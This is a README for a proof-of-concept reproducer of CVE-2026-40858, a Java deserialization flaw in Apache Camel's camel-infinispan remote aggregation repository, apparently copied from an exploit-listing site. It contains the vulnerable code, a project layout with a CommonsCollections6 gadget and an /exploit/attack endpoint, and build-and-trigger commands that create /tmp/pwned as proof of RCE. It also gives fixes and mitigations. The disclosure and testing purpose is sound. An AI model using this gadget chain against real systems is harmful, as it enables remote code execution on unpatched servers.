Share
## https://sploitus.com/exploit?id=950DA42A-EAE8-55E1-90C6-14A76B61594B
# camel-infinispan Remote Aggregation Repository Unsafe Deserialization Reproducer (CVE-2026-40858)

This project demonstrates a **Java deserialization vulnerability** in Apache Camel's `camel-infinispan`
component, tracked as **CVE-2026-40858**. The ProtoStream-based **remote aggregation repository**
serializes each aggregated `Exchange` into a remote Infinispan cache and, when it reads an entry back
(on `get()` / `recover()`), deserializes it with `java.io.ObjectInputStream` and **no
`ObjectInputFilter`**. An attacker who can write to the backing cache can plant a crafted serialized
object and obtain **remote code execution** the next time the repository reads that key.

Advisory: https://camel.apache.org/security/CVE-2026-40858.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-infinispan` (remote / HotRod aggregation repository) |
| **Affected Class** | `org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter` โ†’ `DefaultExchangeHolderUtils.deserialize(byte[])` |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **Impact** | Remote Code Execution (RCE) |
| **Affected Versions** | From 4.0.0 before 4.14.7, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0 |
| **Fixed Versions** | 4.14.7, 4.18.2, 4.20.0 |
| **JIRA** | CAMEL-23322 |
| **Reporter** | Feng Ning (Innora Pte. Ltd.) |

## Technical Details

`InfinispanRemoteAggregationRepository` stores each `Exchange` as a `DefaultExchangeHolder`. With the
ProtoStream marshaller, that holder is adapted by `DefaultExchangeHolderProtoAdapter`, whose ProtoStream
field #1 is the holder serialized with a plain `ObjectOutputStream`. On the way back in, the adapter
rebuilds the holder by handing those bytes to `DefaultExchangeHolderUtils.deserialize`:

```java
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
    return (DefaultExchangeHolder) ois.readObject();   // NO ObjectInputFilter
}
```

`ClassLoadingAwareObjectInputStream` widens, rather than restricts, the set of resolvable classes, so
`readObject()` will instantiate any gadget chain present on the classpath. Because the bytes come
straight from the remote cache, **anyone who can write that cache key controls the deserialization
stream** โ€” and the gadget fires during `readObject()`, before the value is ever cast to
`DefaultExchangeHolder`.

## The victim configuration

A route (or, as here, application code) uses the remote aggregation repository backed by an Infinispan
server:

```java
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig);   // points at the Infinispan server

InfinispanRemoteAggregationRepository repo =
        new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();

// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
```

Any `get()` / `recover()` on a key whose stored value was tampered with triggers the sink.

## Repository layout โ€” where the vulnerable code runs

The **vulnerable Camel code runs in the application** (on the host); the **Infinispan server runs in
Docker** as the backing store the repository talks to. This mirrors how the repository is deployed in
practice: the untrusted data lives in the shared cache.

```
CVE-2026-40858/
โ”œโ”€โ”€ pom.xml                 # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
โ”œโ”€โ”€ docker-compose.yml      # quay.io/infinispan/server:16.1 (the remote cache)
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ InfinispanRepoService.java   # builds + starts InfinispanRemoteAggregationRepository
    โ”‚   โ”œโ”€โ”€ Gadget.java                  # CommonsCollections6 gadget, fired during readObject()
    โ”‚   โ””โ”€โ”€ ExploitController.java       # /exploit/attack: plants a gadget-bodied holder, then reads it
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties
```

> **Note on the PoC shortcut.** A real attacker writes the malicious bytes directly into the shared
> Infinispan cache. To keep the reproducer self-contained, `/exploit/attack` plants the value through
> the same repository (`repo.add(...)` with a gadget as the Exchange body) and then calls `repo.get(...)`
> to trigger the read. The **sink that executes the gadget is Camel's own `readObject()`**, exactly as
> it would fire on any attacker-tampered cache entry.

## Prerequisites

- Java 17+ and Maven 3.8+
- Docker (runs the Infinispan server)

## Reproduction Steps

### Step 1: Start the Infinispan server

```bash
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
     http://localhost:11222/rest/v2/cache-managers/default/health/status   # -> 200
```

### Step 2: Build and run the vulnerable application

The CommonsCollections6 gadget is assembled live via reflection into `java.util`, so the JVM must be
started with `--add-opens java.base/java.util=ALL-UNNAMED`:

```bash
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
     -jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
```

### Step 3: Trigger the deserialization (RCE)

```bash
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
#    >>> RCE proof โ€” /tmp/pwned exists: true
```

`/tmp/pwned` is created by the gadget (`touch /tmp/pwned`) while the repository deserializes the planted
cache value.

### Cleanup

```bash
docker compose down
rm -f /tmp/pwned
```

## Attack Vectors

Any deployment that uses `InfinispanRemoteAggregationRepository` (ProtoStream marshalling) against a
cache an attacker can write to. Cache write access can come from a shared/multi-tenant Infinispan
cluster, a network-reachable HotRod endpoint, or any other producer that lands data in the same cache.

## Exploit Conditions

1. A camel-infinispan **remote** aggregation repository reading from a cache the attacker can write.
2. **A gadget library on the classpath** (here `commons-collections:3.2.1`).

## Recommended Fix

Upgrade to **4.14.7 / 4.18.2 / 4.20.0**. The fix applies an `ObjectInputFilter` / class allow-list to
the holder deserialization, matching the hardening applied to the other Camel aggregation repositories
(camel-leveldb, camel-cassandraql, camel-jms) and to camel-mina / camel-netty.

## Mitigation

Until upgrading:

1. Treat the Infinispan cache as a trust boundary โ€” restrict who can write the aggregation cache.
2. **Remove gadget libraries** from the classpath (upgrade/remove commons-collections 3.x and similar).
3. Keep the Infinispan HotRod endpoint on a trusted network with authentication enabled.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly
disclosed and fixed** vulnerability. Do not use it against systems without explicit permission.